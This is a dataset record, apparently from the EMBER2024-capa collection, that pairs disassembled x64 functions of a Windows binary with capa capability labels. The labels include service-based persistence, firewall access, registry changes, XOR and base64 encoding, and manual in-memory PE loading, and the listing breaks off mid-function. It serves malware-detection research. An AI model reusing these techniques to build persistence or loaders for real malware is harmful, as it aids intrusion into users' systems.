joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400babb8
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
sub rsp, 0x180
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0x170], rax
mov rbp, rdx
xor dil, dil
lea rbx, [rcx + 0xa8]
mov rax, qword [rbx]
cmp dword [rax - 0x10], 0
jle 0x1400bad42
call fcn.1400d18e8
mov rcx, rax
xor eax, eax
test rcx, rcx
setne al
test eax, eax
jne 0x1400bac1d
mov ecx, 0x80004005
call fcn.14001cd80
int3
mov rax, qword [rcx]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x30]
call fcn.1400d2584
nop
mov rdx, rbx
lea rcx, [rsp + 0x20]
call fcn.1400a7950
lea rcx, [rsp + 0x20]
call fcn.1400bab24
mov rbx, qword [rsp + 0x20]
cmp dword [rbx - 0x10], 0
jl 0x1400bacae
lea rdx, str._temp_
mov rcx, rbx
call fcn.1400e34e8
test rax, rax
je 0x1400bacae
sub eax, ebx
js 0x1400bacae
lea rdx, [rsp + 0x60]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov r11d, eax
mov byte [rsp + r11 + 0x60], 0x5c
lea eax, [r11 + 1]
mov byte [rsp + rax + 0x60], 0
lea r8, [rsp + 0x60]
lea rdx, str._temp_
lea rcx, [rsp + 0x20]
call fcn.1400ba860
mov rbx, qword [rsp + 0x20]
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.1400d2d04
test eax, eax
je 0x1400bad1b
lea rcx, [rsp + 0x30]
call fcn.1400d2420
mov rsi, rax
mov eax, 0x2000
cmp esi, eax
cmova esi, eax
lea r8d, [rsi + 1]
xor edx, edx
mov rcx, rbp
call fcn.1400a70dc
test al, al
je 0x1400bad10
mov rcx, rbp
call fcn.1400a71b0
mov rdi, rax
mov r8d, esi
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.1400d21b8
mov byte [rsi + rdi], 0
mov dil, 1
lea rcx, [rsp + 0x30]
call fcn.1400d24fc
nop
lea rcx, [rsp + 0x30]
call fcn.1400d27cc
nop
lea rdx, [rbx - 0x18]
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
dec ecx
test ecx, ecx
jg 0x1400bad42
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov al, dil
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.1400e2890
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x180
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400c1e58
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rdx
mov rbx, rcx
mov r8d, 0xe4
mov rcx, rdi
xor edx, edx
call fcn.1400e1fc0
lea rcx, [rdi + 0x42]
mov edx, 0x40
call qword [sym.imp.WS2_32.dll_gethostname]
lea rdx, [rbx + 0xed]
lea rcx, [rdi + 1]
mov r8d, 0x20
call fcn.1400e2260
lea rdx, [rbx + 0x10d]
lea rcx, [rdi + 0x21]
mov r8d, 0x20
call fcn.1400e2260
mov rbx, qword [rsp + 0x30]
mov byte [rdi + 0x41], 1
add rsp, 0x20
pop rdi
ret

Function at 0x1400c2e40
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x148
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0x130], rax
lea rdx, [rsp + 0x20]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.1400e2890
add rsp, 0x148
ret
Function at 0x1400c5330
Capabilities:
Delete file
Delete service
Query service status

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
cmp dword [rcx + 0x98], 0x2210102
mov rbx, rcx
je 0x1400c535a
xor al, al
jmp 0x1400c5435
mov rcx, qword [rcx + 0xb8]
lea rdx, [rsp + 0x20]
mov edi, 1
xor ebp, ebp
call qword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp eax, ebp
je 0x1400c5432
mov eax, dword [rsp + 0x24]
sub eax, edi
je 0x1400c541b
sub eax, 3
je 0x1400c5394
mov dil, bpl
jmp 0x1400c5432
mov rcx, qword [rbx + 0xa8]
cmp rcx, rbp
je 0x1400c53ad
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov qword [rbx + 0xa8], rbp
mov rax, qword [rbx]
mov edx, 0x2210103
mov rcx, rbx
call qword [rax + 0x28]
mov rcx, qword [rbx + 0xb8]
cmp rcx, rbp
je 0x1400c53e1
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, qword [rbx + 0xb8]
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov qword [rbx + 0xb8], rbp
mov rcx, qword [rbx + 0xd0]
cmp dword [rcx - 0x10], ebp
jle 0x1400c53ff
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
lea rcx, [rbx + 0xd0]
call fcn.1400a74b4
mov rcx, rbx
call fcn.1400c4c2c
movzx esi, bpl
mov rcx, rbx
cmp al, bpl
cmove esi, edi
call fcn.1400c5100
jmp 0x1400c541e
mov sil, dil
cmp sil, bpl
je 0x1400c5432
mov rdx, qword [rbx + 0xc0]
mov rcx, rbx
call fcn.1400c4db0
mov al, dil
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1400c6a40
Capabilities:
Access firewall settings via inetfwmgr

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x50
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rax + 0x20], rbx
mov rdi, rcx
and qword [rax + 0x18], 0
and qword [rax + 0x10], 0
xor ebx, ebx
cmp qword [rcx], rbx
je 0x1400c6a80
mov dword [rax - 0x28], 1
lea rdx, [0x1401383a0]
lea rcx, [rax - 0x28]
call fcn.1400e3c5c
lea rax, [rsp + 0x70]
mov qword [rsp + 0x20], rax
lea r9, [0x14010a7f8]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x14010a7e8]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jns 0x1400c6ac1
mov dword [rsp + 0x34], 2
lea rdx, [0x1401383a0]
lea rcx, [rsp + 0x34]
call fcn.1400e3c5c
mov rcx, qword [rsp + 0x70]
mov rax, qword [rcx]
lea rdx, [rsp + 0x68]
call qword [rax + gethostname]
test eax, eax
jns 0x1400c6aee
mov dword [rsp + 0x38], 3
lea rdx, [0x1401383a0]
lea rcx, [rsp + 0x38]
call fcn.1400e3c5c
mov rcx, qword [rsp + 0x68]
mov rax, qword [rcx]
mov rdx, rdi
call qword [rax + gethostname]
test eax, eax
jns 0x1400c6b1a
mov dword [rsp + 0x3c], 4
lea rdx, [0x1401383a0]
lea rcx, [rsp + 0x3c]
call fcn.1400e3c5c
nop
jmp 0x1400c6b20
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400c6b30
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x70]
test rcx, rcx
je 0x1400c6b40
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
mov eax, ebx
mov rbx, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
Function at 0x1400ca1d0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
mov r8d, 0xa09
mov rcx, rbx
xor edx, edx
call fcn.1400e1fc0
cmp dword [rdi + 8], 2
mov byte [rbx + 0xb], 1
sete al
lea rdx, [rdi + 0x1c]
lea rcx, [rbx + 0x9b4]
mov byte [rbx + 0xa], al
mov eax, dword [rdi + 0xc]
mov r8d, 0x20
mov dword [rbx + 4], eax
movzx eax, word [rdi + 0x10]
and dword [rbx + 0x9b0], 0
mov word [rbx + 8], ax
mov eax, dword [rdi + 0x14]
mov dword [rbx], eax
cmp dword [rdi + 0x18], 0
setne al
mov byte [rbx + 0x9ad], al
movzx eax, word [rdi + 0x18]
mov word [rbx + 0x9ae], ax
call fcn.1400e2260
lea rdx, [rdi + 0x3c]
lea rcx, [rbx + 0x9d4]
mov r8d, 0x20
call fcn.1400e2260
mov r11d, dword [rdi + 0x84]
mov dword [rbx + 0x9f4], r11d
mov eax, dword [rdi + 0x88]
mov dword [rbx + 0x9f8], eax
mov al, byte [rdi + 0x8c]
mov byte [rbx + 0x9fc], al
mov eax, dword [rdi + 0x90]
mov dword [rbx + 0x9fd], eax
cmp dword [rdi + 0x94], 0
je 0x1400ca2aa
and dword [rbx + 0xa01], 0
mov eax, dword [rdi + 0x94]
mov dword [rbx + 0xa05], eax
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x1400ca6b0
Capabilities:
Set registry value

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x6e0
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0x6d0], rax
mov rbp, rdx
lea rdx, [0x14010b0fc]
mov r9b, 1
mov r8d, 3
call fcn.1400ca450
xor edi, edi
mov rsi, rax
cmp rax, rdi
jne 0x1400ca6fa
xor eax, eax
jmp 0x1400ca7c0
mov ebx, 1
lea r8, [0x14010b100]
lea rdx, str._s_d
lea rcx, [rsp + 0x50]
mov r9d, ebx
mov dword [rsp + 0x40], 0x200
call qword [sym.imp.USER32.dll_wsprintfA]
lea r11, [rsp + 0x40]
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x28], r11
lea r9, [rsp + 0x44]
lea rdx, [rsp + 0x50]
xor r8d, r8d
mov rcx, rsi
mov qword [rsp + 0x20], rax
call fcn.1400ca078
cmp eax, edi
jne 0x1400ca75f
inc ebx
cmp ebx, 0xff
jb 0x1400ca6ff
jmp 0x1400ca7b5
lea rcx, [rsp + 0x2d0]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x400
mov qword [rsp + 0x20], rcx
xor r9d, r9d
mov r8d, eax
mov ecx, 0x1000
xor edx, edx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
lea rdx, [rsp + 0x50]
mov r9d, 3
xor r8d, r8d
mov rcx, rsi
mov dword [rsp + 0x28], 0xa09
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp eax, edi
cmove edi, ebx
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
mov rcx, qword [rsp + 0x6d0]
xor rcx, rsp
call fcn.1400e2890
mov rbx, qword [rsp + 0x710]
add rsp, 0x6e0
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400ca7e4
Capabilities:
Delete registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0xb0
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0xa0], rax
xor r9d, r9d
mov ebx, edx
lea rdx, [0x14010b0fc]
lea r8d, [r9 + 3]
call fcn.1400ca450
xor esi, esi
mov rdi, rax
cmp rax, rsi
jne 0x1400ca82b
xor al, al
jmp 0x1400ca86e
lea r8, [0x14010b100]
lea rdx, str._s_d
lea rcx, [rsp + 0x20]
mov r9d, ebx
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov ecx, 1
movzx ebx, sil
cmp eax, esi
cmove ebx, ecx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400e2890
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret

Function at 0x1400cb858
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
sub rsp, 0x70
mov r12, rdx
mov rbp, rcx
call fcn.1400a701c
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call rax
mov rdi, rax
test rax, rax
je 0x1400cb954
xor ebx, ebx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, WSAAsyncSelect
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
test rsi, rsi
jne 0x1400cb8b2
inc ebx
cmp ebx, 0xa
jb 0x1400cb88f
and qword [rsp + 0x60], 0
and qword [rsp + 0x58], 0
and qword [rsp + 0x50], 0
and qword [rsp + 0x48], 0
and qword [rsp + 0x40], 0
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], 1
lea r8, [rbp + 0x17c]
lea rdx, [rbp + 0x13c]
mov r9d, 0xf01ff
mov rcx, rdi
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0x20
call qword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov rbx, rax
test rax, rax
je 0x1400cb93d
lea rcx, [rbp + 0x3c]
lea r8, [rsp + 0xa0]
mov edx, 1
mov qword [rsp + 0xa0], rcx
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, 1
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsp, r11
pop r12
pop rdi
pop rsi
ret
Function at 0x1400cb96c
Capabilities:
Delete service
Stop service

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rsi, rcx
call fcn.1400a701c
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call rax
xor ebx, ebx
mov rdi, rax
cmp rax, rbx
jne 0x1400cb9a2
xor eax, eax
jmp 0x1400cb9f7
lea rdx, [rsi + 0x13c]
mov r8d, 0x10000
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebp, 1
lea r8, [rsp + 0x20]
mov rcx, rax
mov edx, ebp
mov rsi, rax
call qword [sym.imp.ADVAPI32.dll_ControlService]
cmp rsi, rbx
je 0x1400cb9ec
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_DeleteService]
mov rcx, rsi
cmp eax, ebx
cmovne ebx, ebp
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1400ce84c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
mov eax, 0x3030
call fcn.1400fd8d0
sub rsp, rax
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0x3020], rax
mov rbx, rcx
lea rcx, [0x14010bb80]
mov rdi, rdx
xor esi, esi
call fcn.1400e1d50
lea rdx, [0x14010bb80]
mov rcx, rbx
mov rbp, rax
call fcn.1400e34f0
mov rbx, rax
cmp rax, rsi
je 0x1400ce93e
add rbx, rbp
lea rdx, [0x14010bb80]
mov rcx, rbx
call fcn.1400e34f0
mov rbp, rax
cmp rbx, rsi
je 0x1400ce93e
cmp rax, rsi
je 0x1400ce93e
sub rbp, rbx
lea rcx, [rsp + 0x1020]
mov rdx, rbx
mov r8, rbp
call fcn.1400e0ec0
mov ebx, 0x1000
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x1020]
mov r8d, ebx
mov byte [rsp + rbp + 0x1020], sil
call fcn.1400ce750
lea r8, [rsp + 0x2020]
lea rcx, [rsp + 0x20]
mov edx, eax
mov r9d, ebx
call fcn.1400ce64c
mov edx, 0xa09
mov r11d, eax
cmp r11, rdx
jb 0x1400ce93e
lea rcx, [rsp + 0x2020]
sub rcx, rdi
mov al, byte [rcx + rdi]
xor al, 0xe2
mov byte [rdi], al
inc rdi
sub rdx, 1
jne 0x1400ce92b
mov sil, 1
mov al, sil
mov rcx, qword [rsp + 0x3020]
xor rcx, rsp
call fcn.1400e2890
mov rbx, qword [rsp + 0x3060]
add rsp, 0x3030
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400cea1c
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rdi
mov eax, 0x3040
call fcn.1400fd8d0
sub rsp, rax
mov rax, qword [0x1401423c0]
xor rax, rsp
mov qword [rsp + 0x3030], rax
mov rbx, rcx
mov rcx, rdx
mov rdi, rdx
call fcn.1400a74b4
lea rax, [rsp + 0x1030]
mov ecx, 0xa09
lea r11, [rsp + 0x1030]
mov r8, rcx
sub rbx, rax
mov al, byte [rbx + r11]
xor al, 0xe2
mov byte [r11], al
inc r11
sub r8, 1
jne 0x1400cea6a
mov edx, ecx
mov ebx, 0x1000
lea r8, [rsp + 0x2030]
lea rcx, [rsp + 0x1030]
mov r9d, ebx
call fcn.1400ce57c
test eax, eax
je 0x1400ceae1
lea r8, [rsp + 0x30]
lea rcx, [rsp + 0x2030]
mov r9d, ebx
mov edx, eax
call fcn.1400ce7e0
lea r8, [0x14010bb80]
lea r9, [rsp + 0x30]
mov r11d, eax
lea rdx, str._s_s_s
mov rcx, rdi
mov byte [rsp + r11 + 0x30], 0
mov qword [rsp + 0x20], r8
call fcn.1400a8b84
mov al, 1
mov rcx, qword [rsp + 0x3030]
xor rcx, rsp
call fcn.1400e2890
mov rbx, qword [rsp + 0x3050]
add rsp, 0x3040
pop rdi
ret
Function at 0x1400ceb4c
Capabilities:
Encode data using base64 via winapi

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
push rdi
sub rsp, 0x30
and dword [rax + 0x18], 0
lea rax, [rax + 0x18]
xor ebx, ebx
lea r8d, [rbx + 1]
xor r9d, r9d
mov edi, edx
mov rsi, rcx
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
mov r11d, dword [rsp + 0x50]
test r11d, r11d
je 0x1400cebff
mov rcx, r11
call fcn.1400e3ba4
mov r8d, dword [rsp + 0x50]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.1400e1fc0
lea r11, [rsp + 0x50]
mov r9, rbx
mov r8d, 1
mov edx, edi
mov rcx, rsi
mov qword [rsp + 0x20], r11
call qword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
cmp byte [rbx], 0
je 0x1400cebff
mov r8d, 1
mov rdx, rbx
sub r8, rbx
cmp byte [rdx], 0xd
je 0x1400cebdf
cmp byte [rdx], 0xa
je 0x1400cebdf
inc rdx
jmp 0x1400cebfa
lea rcx, [r8 + rdx]
jmp 0x1400cebef
mov al, byte [rcx + rbx]
inc rcx
mov byte [rcx + rbx - 2], al
cmp byte [rcx + rbx], 0
jne 0x1400cebe5
mov byte [rcx + rbx - 1], 0
cmp byte [rdx], 0
jne 0x1400cebd0
mov rsi, qword [rsp + 0x48]
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x1400cec14
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
and dword [rsp + 0x60], 0
mov rsi, rdx
mov rdi, rcx
xor ebx, ebx
call fcn.1400e1d50
and qword [rsp + 0x30], rbx
and qword [rsp + 0x28], rbx
and dword [rsp + 0x60], ebx
lea rax, [rsp + 0x60]
lea r8d, [rbx + 1]
xor r9d, r9d
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov r11d, dword [rsp + 0x60]
test r11d, r11d
je 0x1400ceca4
mov rcx, r11
call fcn.1400e3ba4
and qword [rsp + 0x30], 0
and qword [rsp + 0x28], 0
mov rbx, rax
xor edx, edx
lea rax, [rsp + 0x60]
lea r8d, [rdx + 1]
mov r9, rbx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
mov r11d, dword [rsp + 0x60]
mov dword [rsi], r11d
mov rsi, qword [rsp + 0x58]
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
Function at 0x1400cecb8
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x40
test rcx, rcx
jne 0x1400cecd4
xor eax, eax
jmp 0x1400ced8a
and qword [rsp + 0x30], 0
xor r9d, r9d
mov edx, 0x80000000
lea r14d, [r9 + 1]
mov dword [rsp + 0x28], 0x8000080
mov dword [rsp + 0x20], 3
mov r8d, r14d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbp, rax
cmp rax, 0xffffffffffffffff
je 0x1400ceccd
lea rdx, [rsp + 0x70]
xor esi, esi
mov rcx, rax
and dword [rsp + 0x70], esi
xor edi, edi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov r12d, eax
cmp eax, 0xffffffff
je 0x1400ced70
cmp dword [rsp + 0x70], esi
ja 0x1400ced70
lea ecx, [rax + 1]
mov ebx, ecx
call fcn.1400cfdfc
mov r8, rbx
mov rcx, rax
xor edx, edx
mov rsi, rax
call fcn.1400e1fc0
and dword [rsp + 0x78], edi
and qword [rsp + 0x20], rdi
lea r9, [rsp + 0x78]
mov r8d, r12d
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400ced70
cmp dword [rsp + 0x78], r12d
cmove edi, r14d
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x1400ced87
mov rcx, rsi
call fcn.1400cfe04
xor esi, esi
mov rax, rsi
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x1400cedfc
Capabilities:
Get file size

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rdi
sub rsp, 0x40
and qword [rax - 0x18], 0
mov r8d, 3
mov dword [rax - 0x20], 0x8000080
xor r9d, r9d
mov edx, 0x80000000
mov dword [rax - 0x28], r8d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400cee39
xor eax, eax
jmp 0x1400cee51
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x1400cee5c
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r10, rdx
not ecx
test r8d, r8d
je 0x1400cee8e
mov r9d, r8d
movzx edx, byte [r10]
movzx eax, cl
lea r8, [0x140140d20]
xor rdx, rax
mov eax, ecx
inc r10
mov ecx, dword [r8 + rdx*4]
shr eax, 8
xor ecx, eax
sub r9, 1
jne 0x1400cee69
not ecx
mov eax, ecx
ret
Function at 0x1400cf23c
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
sub rsp, 0x20
mov r8, qword [rcx]
xor r12d, r12d
mov rbp, rcx
mov rdi, qword [r8 + 0x30]
movzx eax, word [r8 + 0x14]
movabs rcx, 0xffffffff00000000
and rdi, rcx
mov esi, r12d
cmp r12w, word [r8 + 6]
jae 0x1400cf326
lea rbx, [rax + r8 + 0x3c]
mov eax, dword [rbx]
mov edx, dword [rbx]
mov r9d, dword [rbx]
shr eax, 0x1d
shr edx, 0x1e
shr r9d, 0x1f
and eax, 1
and edx, 1
bt dword [rbx], 0x19
jae 0x1400cf2b4
mov ecx, dword [rbx - 0x1c]
mov edx, dword [rbx - 0x14]
mov r8d, 0x4000
or rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x1400cf30f
bt dword [rbx], 0x1a
movsxd rcx, eax
movsxd rax, edx
lea rdx, [rax + rcx*2]
lea rax, [0x140141120]
lea rcx, [r9 + rdx*2]
mov r10d, dword [rax + rcx*4]
jae 0x1400cf2d8
bts r10d, 9
mov eax, dword [rbx - 0x14]
cmp eax, r12d
jne 0x1400cf2f7
test byte [rbx], 0x40
je 0x1400cf2eb
mov eax, dword [r8 + 0x20]
jmp 0x1400cf2f4
test byte [rbx], 0x80
je 0x1400cf30f
mov eax, dword [r8 + 0x24]
cmp eax, r12d
jbe 0x1400cf30f
mov ecx, dword [rbx - 0x1c]
lea r9, [rsp + 0x40]
mov edx, eax
or rcx, rdi
mov r8d, r10d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8, qword [rbp]
inc esi
add rbx, 0x28
movzx eax, word [r8 + 6]
cmp esi, eax
jl 0x1400cf280
mov rbx, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x50]
add rsp, 0x20
pop r12
pop rdi
pop rsi
ret
Function at 0x1400cf86c
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
mov eax, 0x5a4d
mov r12, rcx
cmp word [rcx], ax
jne 0x1400cf9db
movsxd rsi, dword [rcx + 0x3c]
add rsi, rcx
cmp dword [rsi], 0x4550
jne 0x1400cf9db
mov edx, dword [rsi + 0x50]
mov rcx, qword [rsi + 0x30]
mov ebx, 0x2000
mov r8d, ebx
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
jne 0x1400cf8ea
mov edx, dword [rsi + 0x50]
lea r9d, [rax + 4]
mov r8d, ebx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbp, rax
test rax, rax
je 0x1400cf9db
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
lea r8d, [rdx + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, 0x1000
mov r9d, 4
and dword [rax + 0x18], 0
and qword [rax + 0x10], 0
and dword [rax + 0x1c], 0
mov qword [rax + 8], rbp
mov edx, dword [rsi + 0x50]
mov r8d, ebx
mov rcx, rbp
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [rsi + 0x54]
mov r9d, 4
mov r8d, ebx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rsi + 0x54]
mov rdx, r12
add r8d, dword [r12 + 0x3c]
mov rcx, rax
mov rbx, rax
call fcn.1400e0ec0
movsxd rax, dword [r12 + 0x3c]
mov ecx, 0x10b
add rax, rbx
mov qword [rdi], rax
cmp word [rax + 0x18], cx
je 0x1400cf9d3
mov r8, rdi
mov rdx, rsi
mov rcx, r12
mov qword [rax + 0x30], rbp
call fcn.1400cf150
mov rdx, rbp
sub rdx, qword [rsi + 0x30]
je 0x1400cf992
mov rcx, rdi
call fcn.1400cf33c
mov rcx, rdi
call fcn.1400cf3d4
test eax, eax
je 0x1400cf9d3
mov rcx, rdi
call fcn.1400cf23c
mov r11, qword [rdi]
cmp dword [r11 + 0x28], 0
je 0x1400cf9ce
mov eax, dword [r11 + 0x28]
add rax, rbp
je 0x1400cf9d3
xor r8d, r8d
mov rcx, rbp
lea ebx, [r8 + 1]
mov edx, ebx
call rax
test eax, eax
je 0x1400cf9d3
mov dword [rdi + 0x1c], ebx
mov rax, rdi
jmp 0x1400cf9dd
mov rcx, rdi
call fcn.1400cf7a4
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret

Function at 0x1400cfc18
Capabilities:
Create thread

Disassembly:
push rbx
sub rsp, 0x30
mov rbx, rdx
test rcx, rcx
je 0x1400cfc63
mov rdx, rcx
lea rcx, [0x140148740]
mov r8d, 0x104
call fcn.1400e2260
and qword [rsp + 0x28], 0
and dword [rsp + 0x20], 0
lea r8, [0x1400cfaec]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x1400cfc7d
lea rcx, [0x140148520]
mov r8d, 0x104
mov rdx, rbx
call fcn.1400e2260
add rsp, 0x30
pop rbx
ret
Function at 0x1400cfcec
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x150
mov rax, qword [0x1401423c0]
